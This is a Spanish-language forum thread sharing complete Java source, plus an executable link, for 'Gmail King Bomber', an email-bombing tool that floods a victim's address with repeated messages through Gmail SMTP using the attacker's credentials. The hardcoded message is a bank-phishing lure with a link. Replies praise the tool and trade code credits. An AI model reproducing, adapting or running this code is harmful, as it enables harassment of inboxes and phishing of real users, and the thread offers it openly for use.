Hola,
Les dejo una sencilla aplicación para spamear cuentas de correo. El code es sencillo, un Thread hace la tarea y captura las excepciones mostrando un cuadro de diálogo. Los botones y demás controles se desactivan mientras esté operativa la tarea (envío de emails). El botón borrar, como su nombre lo dice borra todos los campos a excepción del email y password atacante.
Imagen en funcionamiento:
(http://i.imgur.com/jbfpi8W.jpg)
Versión 1.0. Con un código más sencillo, sin tantos catch múltiples y ahora el trabajo por medio de un thread.
import java.util.Date;
import java.util.Properties;
// Librerias JavaFX
import javafx.application.Application;
import javafx.beans.value.ChangeListener;
import javafx.beans.value.ObservableValue;
import javafx.event.ActionEvent;
import javafx.event.EventHandler;
import javafx.scene.Group;
import javafx.scene.Scene;
import javafx.scene.control.Button;
import javafx.scene.control.Label;
import javafx.scene.control.PasswordField;
import javafx.scene.control.TextArea;
import javafx.scene.control.TextField;
import javafx.scene.image.Image;
import javafx.scene.image.ImageView;
import javafx.scene.paint.Color;
import javafx.stage.Stage;
// librerias JavaMail
import javax.mail.Message;
import javax.mail.Session;
import javax.mail.Transport;
import javax.mail.internet.InternetAddress;
import javax.mail.internet.MimeMessage;
import javax.swing.JOptionPane;
public class GmailKingBomber extends Application {
Label lblEmail,lblAsunto,lblMensaje,cantMensajes,lblActividad,lblEmailSender,lblPassSender;
Button btnOk,btnBorrar;
TextField txtEmail,txtAsunto,txtcantMensajes,txtEmailSender;
PasswordField txtPassSender;
TextArea txrMensaje,txrActividad;
public void start(Stage stage){
Group root = new Group(); // crea un panel "Grupo" (ver doc)
Scene escena = new Scene(root,550,420); // se lo asigna a la escena y configura sizes
// email
lblEmail = new Label("Email");
lblEmail.setTextFill(Color.web("#0076a3"));
lblEmail.setLayoutX(8);
lblEmail.setLayoutY(8);
txtEmail = new TextField("");
txtEmail.setFocusTraversable(true);
txtEmail.setPrefSize(150,25);
txtEmail.setLayoutX(20);
txtEmail.setLayoutY(28);
// asunto
lblAsunto = new Label("Asunto");
lblAsunto.setTextFill(Color.web("#0076a3"));
lblAsunto.setLayoutX(8);
lblAsunto.setLayoutY(55);
txtAsunto = new TextField("");
txtAsunto.setFocusTraversable(true);
txtAsunto.setPrefSize(150,25);
txtAsunto.setLayoutX(20);
txtAsunto.setLayoutY(75);
// mensaje
lblMensaje = new Label("Mensaje");
lblMensaje.setTextFill(Color.web("#0076a3"));
lblMensaje.setLayoutX(8);
lblMensaje.setLayoutY(101);
txrMensaje = new TextArea("");
txrMensaje.setFocusTraversable(true);
txrMensaje.setPrefSize(150,80);
txrMensaje.setLayoutX(20);
txrMensaje.setLayoutY(126);
// cantidad de mensajes
cantMensajes = new Label("Cantidad de emails");
cantMensajes.setTextFill(Color.web("#0076a3"));
cantMensajes.setLayoutX(8);
cantMensajes.setLayoutY(211);
txtcantMensajes = new TextField("");
txtcantMensajes.setFocusTraversable(true);
txtcantMensajes.setPrefSize(80,25);
txtcantMensajes.setLayoutX(20);
txtcantMensajes.setLayoutY(234);
// email atacador
lblEmailSender = new Label("Email atacante");
lblEmailSender.setTextFill(Color.web("#0076a3"));
lblEmailSender.setLayoutX(8);
lblEmailSender.setLayoutY(266);
// txt email atacador
txtEmailSender = new TextField("");
txtEmailSender.setFocusTraversable(true);
txtEmailSender.setLayoutX(20);
txtEmailSender.setLayoutY(285);
// pass del atacador
lblPassSender = new Label("Pass");
lblPassSender.setTextFill(Color.web("#0076a3"));
lblPassSender.setLayoutX(8);
lblPassSender.setLayoutY(310);
//ptxt pass del atacador
txtPassSender = new PasswordField();
txtPassSender.setFocusTraversable(true);
txtPassSender.setLayoutX(20);
txtPassSender.setLayoutY(329);
// si se empieza a escribir la contrasena se activa el boton
txtPassSender.textProperty().addListener(new ChangeListener<String>() {
@Override
public void changed(ObservableValue<? extends String> observable,
String oldValue, String newValue) {
btnOk.setDisable(false);
}
});
// boom
btnOk = new Button("¡Boom!");
btnOk.setFocusTraversable(true);
btnOk.setDisable(true);
btnOk.setTextFill(Color.web("#0076a9"));
btnOk.setLayoutX(20);
btnOk.setLayoutY(385);
btnOk.setPrefSize(100,25);
// evento del boton
btnOk.setOnAction(new EventHandler<ActionEvent>() {
public void handle(ActionEvent event){ // crea un thread para iniciar el proceso
Boom boom = new Boom();
boom.start(); // inicia la tarea
}
});
// boton borrar
btnBorrar = new Button("Borrar");
btnBorrar.setLayoutX(126);
btnBorrar.setLayoutY(385);
btnBorrar.setPrefSize(100,25);
btnBorrar.setOnAction(new EventHandler<ActionEvent>() {
public void handle(ActionEvent evt){
// borra todos los cambos y pone el focus en el email victima
txtEmail.setText(null);
txtAsunto.setText(null);
txrMensaje.setText(null);
txtcantMensajes.setText(null);
txrActividad.setText("");
txtEmail.requestFocus();
}
});
// textarea
lblActividad = new Label("Actividad");
lblActividad.setTextFill(Color.web("#0076a3"));
lblActividad.setLayoutX(250);
lblActividad.setLayoutY(8);
txrActividad = new TextArea();
txrActividad.setPrefSize(300,390);
txrActividad.setLayoutX(250);
txrActividad.setLayoutY(30);
txrActividad.setEditable(false); // el textarea no es editable
// imagen para el fondo
Image ima = new Image("file:htp.jpg",true);
ImageView imagen = new ImageView();
imagen.setImage(ima);
// imagen para el icono de la ventana
stage.getIcons().add(new Image("file:descarga.jpg"));
// agrega todos los componentes al panel
root.getChildren().addAll(imagen,lblEmail,btnOk,btnBorrar,txtEmail,lblAsunto,txtAsunto,lblMensaje,txrMensaje,cantMensajes,txtcantMensajes,lblEmailSender,txtEmailSender,lblPassSender,txtPassSender,lblActividad,txrActividad);
stage.setTitle("¡Gmail king bomber! v0.1 - Darkgus"); // titulo del "stage" ( jframe)
stage.setScene(escena); // le asigna la escena ( la escena es el panel principal, dentro esta el panel root de tipo Group)
stage.setResizable(false);
stage.show(); // mostramos la stage
}
// clase que hace el envío de emails mediante thread
private class Boom extends Thread{
private boolean continuar=true; //condicion del thread
void detener(){ // metodo para detener el thread
continuar = false;
}
void inhabilitar() { // inhabilita los controles
btnOk.setDisable(true);
btnBorrar.setDisable(true);
txtEmail.setEditable(false);
txtAsunto.setEditable(false);
txrMensaje.setEditable(false);
txtcantMensajes.setEditable(false);
txtEmailSender.setEditable(false);
txtPassSender.setEditable(false);
}
void habilitar() { // habilita los controles
btnOk.setDisable(false);
btnBorrar.setDisable(false);
txtEmail.setEditable(true);
txtAsunto.setEditable(true);
txrMensaje.setEditable(true);
txtcantMensajes.setEditable(true);
txtEmailSender.setEditable(true);
txtPassSender.setEditable(true);
}
public void run() { // incia el thread
while(continuar) { // hace la tarea mientras continuar sea true
try {
inhabilitar();
// Propiedades de la conexión
Properties props = new Properties();
props.setProperty("mail.smtp.host", "smtp.gmail.com");
props.setProperty("mail.smtp.starttls.enable", "true");
props.setProperty("mail.smtp.port", "587");
props.setProperty("mail.smtp.user", txtEmailSender.getText());
props.setProperty("mail.smtp.auth", "true");
// Preparamos la sesion
Session session = Session.getDefaultInstance(props);
// Construimos el mensaje
MimeMessage message = new MimeMessage(session);
message.setFrom(new InternetAddress("yo@yo.com"));
message.addRecipient(
Message.RecipientType.TO,
new InternetAddress(txtEmail.getText()));
message.setSubject("Hola");
message.setText(
"Este es un aviso de su banco: clickee aquí: www.terobolacuenta.com");
// Lo enviamos.
int cantidad = Integer.parseInt(txtcantMensajes.getText() );
for(int i=1; i<=cantidad; i++) {
Transport t = session.getTransport("smtp");
t.connect(txtEmailSender.getText(), new String(txtPassSender.getText()));
t.sendMessage(message, message.getAllRecipients());
txrActividad.setText(txrActividad.getText() + "\n" +
"Nuevo mensaje enviado: " + new Date() + "\n" +
"Destino: " + txtEmail.getText() + "\n" +
"Asunto: " + txtAsunto.getText() + "\n" +
"Mensaje: " + txrMensaje.getText()+"\n"+"\n");
// Cierre.
t.close();
if(i==cantidad) {
detener();
habilitar();
}
} // fin for
} // fin try
catch(Exception e) { //detenemos el thread, habilitamos los button y mostramos error
detener();
habilitar();
JOptionPane.showMessageDialog(null,"Ha ocurrido un error. Asegúrese que se hayan\nintroducido correctamente los datos","ERROR",JOptionPane.ERROR_MESSAGE);
}
} // fin while
} // fin run
} // fin clase
public static void main(String[] args) {
launch(args); // lanza la aplicacion
}
}
Ejecutable: http://www.mediafire.com/?pdqn5cz324brq6b
interesante, se parece bastante al que hice :( de hecho tiene código que yo escribí pero con unas modificaciones :silbar:
pero bueno felicidades de todos modos tambien tiene codigo original ;-)
edito : Bueno ya vi tu mensaje en el otro foro Randomized, ya sospechaba que eras tu :D felicidades crack esta mejor que el que yo había hecho te lo has currado ;-)
saludos
Hola David que tal xD.
El code que utilicé de ti es este pedazo:
txrActividad.setText(txrActividad.getText() + "\n" +
"Nuevo mensaje enviado: " + new Date() + "\n" +
"Destino: " + txtEmail.getText() + "\n" +
"Asunto: " + txtAsunto.getText() + "\n" +
"Mensaje: " + txrMensaje.getText()+"\n"+"\n");
Lo que me gustó fue el nombre de tu clase "Bomber" ;D
Saludos crack.
nada mal ;D
me gustó mucho
Gracias por tu aporte al foro :)
Sin duda es muy útil y muy versátil y mas viniendo de este hermanito abandonado de Java como es JavaFX.
Un saludo
Muchas gracias Debci y Legnak por pasarse.
JavaFX me parece un muy buen framework para apps de todo tipo, a ver si ahora ya se incursiona en el mundo móvil, porque con swing nunca lo iba a hacer ;D, además se pueden lograr apps de escritorio/web con un acabado y funcionalidad excelente.
Saludos :)
Te lo curras!